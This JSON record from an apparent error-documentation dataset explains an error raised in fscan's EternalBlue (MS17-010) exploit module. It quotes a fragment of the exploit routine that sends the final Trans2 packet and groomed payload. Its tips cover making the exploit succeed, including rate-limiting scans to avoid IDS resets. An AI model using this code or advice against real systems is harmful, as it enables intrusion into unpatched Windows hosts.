{"record":{"id":"70e3cde721b15fe7","repo":"shadow1ng/fscan","slug":"failed-to-get-response-about-exploit-s","errorCode":null,"errorMessage":"failed to get response about exploit: %s","messagePattern":"failed to get response about exploit: (.+?)","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010_exp.go","lineNumber":93,"sourceCode":"\t\t\t_ = groomConns[i].Close()\n\t\t}\n\t}()\n\n\t//fmt.Println(\"Running final exploit packet\")\n\terr = conn.SetReadDeadline(time.Now().Add(10 * time.Second))\n\tif err != nil {\n\t\treturn err\n\t}\n\ttreeID := header.TreeID\n\tuserID := header.UserID\n\tfinalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, \"exploit\")\n\t_, err = conn.Write(finalPacket)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send final exploit packet: %s\", err)\n\t}\n\traw, _, err := smb1GetResponse(conn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get response about exploit: %s\", err)\n\t}\n\tntStatus := make([]byte, 4)\n\tntStatus[0] = raw[8]\n\tntStatus[1] = raw[7]\n\tntStatus[2] = raw[6]\n\tntStatus[3] = raw[5]\n\n\t//fmt.Printf(\"NT Status: 0x%08X\\n\", ntStatus)\n\n\t//fmt.Println(\"send the payload with the grooms\")\n\n\tbody := makeSMB2Body(payload)\n\n\tfor i := 0; i < len(groomConns); i++ {\n\t\t_, err = groomConns[i].Write(body[:2920])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}","sourceCodeStart":75,"sourceCodeEnd":111,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010_exp.go#L75-L111","documentation":"This error wraps any failure returned by smb1GetResponse after the final EternalBlue Trans2 exploit packet was written to the SMB connection (plugins/services/ms17010_exp.go:93). The library throws it because the exploit's last step requires reading the target's SMB reply to extract the NT status code; without a parseable response the exploit attempt cannot proceed. It is a wrapper, so the underlying cause is always an embedded read/parse error from smb1GetResponse.","triggerScenarios":"Calling exploit() (via eternalBlue) when conn.Write(finalPacket) succeeds but the subsequent smb1GetResponse fails: the target closes or resets the connection, the 10s read deadline expires, or the target returns a non-SMB1/malformed NetBIOS frame.","commonSituations":"Scanning a patched host that drops the malformed Trans2 packet and kills the connection; a firewall or IDS resetting the TCP session mid-exploit; slow or saturated target hitting the 10-second SetReadDeadline; the target speaking only SMB2/SMB3 and answering with unexpected frames.","solutions":["Check the wrapped error: io timeout or connection reset means the target likely closed the socket — treat the host as probably not vulnerable or rate-limit and retry with fewer attempts","Verify the target actually listens on 445 and speaks SMB1 (ms17010 detection/leak check) before running the exploit","Re-run via eternalBlue's retry loop (maxAttempts) which increments grooms per attempt, since race-sensitive stages can fail transiently","Confirm network path (VPN, firewall) is not injecting RSTs; capture traffic with tcpdump/Wireshark if persistent"],"exampleFix":"// before\nraw, _, err := smb1GetResponse(conn)\nif err != nil {\n    return fmt.Errorf(\"failed to get response about exploit: %s\", err)\n}\n// after\nraw, _, err := smb1GetResponse(conn)\nif err != nil {\n    return fmt.Errorf(\"failed to get response about exploit: %w\", err) // unwrap with errors.Is(err, os.ErrDeadlineExceeded)\n}","handlingStrategy":"try-catch","validationCode":"// Go: probe SMB1 reachability before exploiting\nfunc smbReachable(address string) error {\n    conn, err := net.DialTimeout(\"tcp\", address, 10*time.Second)\n    if err != nil { return err }\n    defer conn.Close()\n    _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))\n    return smbClientNegotiate(conn)\n}","typeGuard":"func isTimeoutOrReset(err error) bool {\n    return errors.Is(err, os.ErrDeadlineExceeded) ||\n        errors.Is(err, syscall.ECONNRESET)\n}","tryCatchPattern":"err := eternalBlue(addr, grooms, attempts, sc)\nif err != nil {\n    var opErr *net.OpError\n    if errors.As(err, &opErr) {\n        // network-level cause: log target, continue scan\n    } else {\n        // unexpected: investigate\n    }\n}","preventionTips":["Run a non-intrusive MS17-010 probe before the exploit to confirm SMB1 + vulnerability","Always run exploits through the retrying eternalBlue wrapper rather than a single exploit() call","Capture packet traces when a target consistently fails at the response stage","Rate-limit scans so IDS/RST-based filtering does not kill sessions"],"tags":["network","smb","eternalblue","exploit","error-wrapping"],"backgroundTag":"network-request-failed","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}